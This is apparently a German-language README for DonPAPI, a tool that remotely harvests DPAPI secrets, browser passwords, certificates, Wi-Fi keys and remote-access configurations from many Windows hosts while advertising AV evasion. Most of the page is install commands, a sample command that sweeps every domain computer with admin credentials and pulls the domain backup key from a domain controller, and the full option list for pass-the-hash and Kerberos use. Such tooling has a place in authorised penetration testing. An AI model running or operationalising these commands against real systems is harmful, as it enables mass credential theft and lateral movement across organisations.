
Automatisierter Remote-Anmeldeinformationssammler für Windows-Umgebungen, der DPAPI-Geheimnisse, Browser-Anmeldeinformationen, Zertifikate und Konfigurationsdateien extrahiert, mit integrierter Verteidigungsumgehung und einem webbasierten Beute-Viewer.
DonPAPI automatisiert das Auslesen von Geheimnissen (Secrets) auf mehreren Windows-Computern aus der Ferne, mit Fokus auf Umgehung von Verteidigungsmaßnahmen.

Gesammelte Anmeldedaten:
Wir haben einen Vortrag auf Französisch über DPAPI mit dem Titel DPAPI - Don't Put Administration Passwords In 🇫🇷 gehalten:
Dieses Tool sollte mit pipx oder in einer dedizierten virtuellen Umgebung installiert werden
pipx install donpapi
oder (mit neuesten Commits)
pipx install git+https://github.com/login-securite/DonPAPI.git
oder (zum Entwickeln)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
Diese Aktion wird verwendet, um Geheimnisse auf den in -t angegebenen Zielen zu sammeln.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
Die Authentifizierung erfolgt durch Angabe einer Domain mit --domain, eines Benutzernamens mit --username und optional eines Passworts mit --password, eines Hashes mit --hashes, eines AES-Schlüssels mit --aesKey oder eines Kerberos-Tickets im ccache-Format mit -k (Impacket-Stil). Sie können sich auch über LAPS auf dem Computer authentifizieren, indem Sie --laps und den Benutzernamen des lokalen LAPS-Kontos als Wert für diesen Parameter angeben.
Standardmäßig sammelt DonPAPI:
Sie können jeden einzelnen Sammler mit --collectors angeben (SharpHound-Stil). Wenn Sie --fetch-pvk verwenden, ruft DonPAPI automatisch den Domänen-Backup-Schlüssel der AD-Domäne ab und verwendet ihn, um Masterkeys zu entschlüsseln. Andernfalls können Sie einen mit --pvkfile bereitstellen. --pwdfile und --ntfile werden verwendet, um DonPAPI mit Geheimnissen zu versorgen, um Masterkeys zu entsperren. Falls Sie jedoch frisch entschlüsselte Masterkeys haben, können Sie --mkfile verwenden.